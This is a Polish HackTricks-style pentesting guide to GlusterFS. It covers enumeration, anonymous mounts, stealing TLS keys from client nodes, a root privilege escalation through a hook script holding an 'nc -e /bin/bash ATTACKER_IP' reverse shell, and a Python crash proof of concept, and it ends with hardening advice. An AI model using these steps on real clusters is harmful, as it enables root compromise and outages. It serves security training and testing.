hacktricks/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md

116 lines
5.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 24007-24008-24009-49152 - Pentesting GlusterFS
{{#include ../banners/hacktricks-training.md}}
## Podstawowe informacje
**GlusterFS** to **rozproszony system plików**, który łączy pamięć masową z wielu serwerów w jeden **zunifikowany przestrzeń nazw**. Demon zarządzający (`glusterd`) nasłuchuje domyślnie na **24007/TCP** i instruuje bloki danych, które zaczynają się na **49152/TCP** (jeden port na blok, inkrementacja). Wersje przed 9.x używały **2400824009/TCP** do transportu bloków, więc nadal napotkasz te porty w starszych klastrach.
```
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
```
> Wskazówka: 24007 odpowiada na wywołania RPC, nawet gdy węzły tylko do przechowywania **nie** eksportują żadnej objętości; dlatego usługa jest niezawodnym celem do ataków w dużych infrastrukturach.
## Enumeracja
Zainstaluj narzędzia klienckie na swoim atakującym systemie:
```bash
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
```
1. **Odkrywanie peerów i zdrowie**
```bash
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
```
2. **Rozpoznanie wolumenu**
```bash
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
```
3. **Montowanie bez uprawnień**
```bash
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
```
Jeśli montowanie nie powiedzie się, sprawdź `/var/log/glusterfs/<vol_name>-<uid>.log` po stronie klienta. Typowe problemy to:
* Wymuszenie TLS (`option transport.socket.ssl on`)
* Kontrola dostępu oparta na adresach (`option auth.allow <cidr>`)
### Rozwiązywanie problemów z certyfikatami
Skradnij następujące pliki z dowolnego autoryzowanego węzła klienckiego i umieść je w `/etc/ssl/` (lub w katalogu pokazanym w dzienniku błędów):
```
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
```
---
## Znane luki (2022-2025)
| CVE | Wersje dotknięte | Wpływ | Uwagi |
|-----|-------------------|--------|-------|
| **CVE-2022-48340** | 10.010.4, 11.0 | Use-after-free w `dht_setxattr_mds_cbk` dostępne przez sieć | Zdalny **DoS** i prawdopodobne RCE. Naprawione w 10.4.1 / 11.1. |
| **CVE-2023-26253** | < 11.0 | Odczyt poza zakresem w obsłudze powiadomień FUSE | Zdalny awaria przez spreparowane operacje FS; publiczny PoC dostępny. |
| **CVE-2023-3775** | < 10.5 / 11.1 | Nieprawidłowa walidacja uprawnień podczas montowania `gluster_shared_storage` | Pozwala każdemu nieautoryzowanemu klientowi zamontować wolumin administratora prowadzi do **priv-esc** wyjaśnionego poniżej. |
> Zawsze sprawdzaj `gluster --version` **na każdym węźle**; heterogeniczne klastry są powszechne po częściowych aktualizacjach.
### Wykorzystywanie `gluster_shared_storage` (Escalacja uprawnień)
Nawet w najnowszych wersjach wielu administratorów pozostawia specjalny wolumin `gluster_shared_storage` dostępnym do odczytu dla wszystkich, ponieważ upraszcza to geo-replikację. Wolumin zawiera szablony zadań cron, które uruchamiane z **root** na każdym węźle.
```bash
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
```
Jeśli `hooks/1/` nie jest obecny, poszukaj `/ss_bricks/` dokładna ścieżka może się różnić w zależności od głównej wersji.
### Denial-of-Service PoC (CVE-2023-26253)
```python
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
```
Uruchomienie skryptu powoduje awarię `glusterfsd` < 11.0.
---
## Wzmacnianie i wykrywanie
* **Aktualizacja** obecna wersja LTS to 11.1 (lipiec 2025). Wszystkie CVE powyżej zostały naprawione.
* Włącz **TLS** dla każdego bricka:
```bash
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
```
* Ogranicz klientów za pomocą list CIDR:
```bash
gluster volume set <vol> auth.allow 10.0.0.0/24
```
* Udostępnij port zarządzania 24007 tylko na **prywatnym VLAN** lub przez tunel SSH.
* Obserwuj logi: `tail -f /var/log/glusterfs/glusterd.log` i skonfiguruj funkcję **audit-log** (`volume set <vol> features.audit-log on`).
---
## Odniesienia
* [GlusterFS security advisories](https://docs.gluster.org/en/latest/release-notes/#security)
* [CVE-2023-26253 PoC github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
{{#include ../banners/hacktricks-training.md}}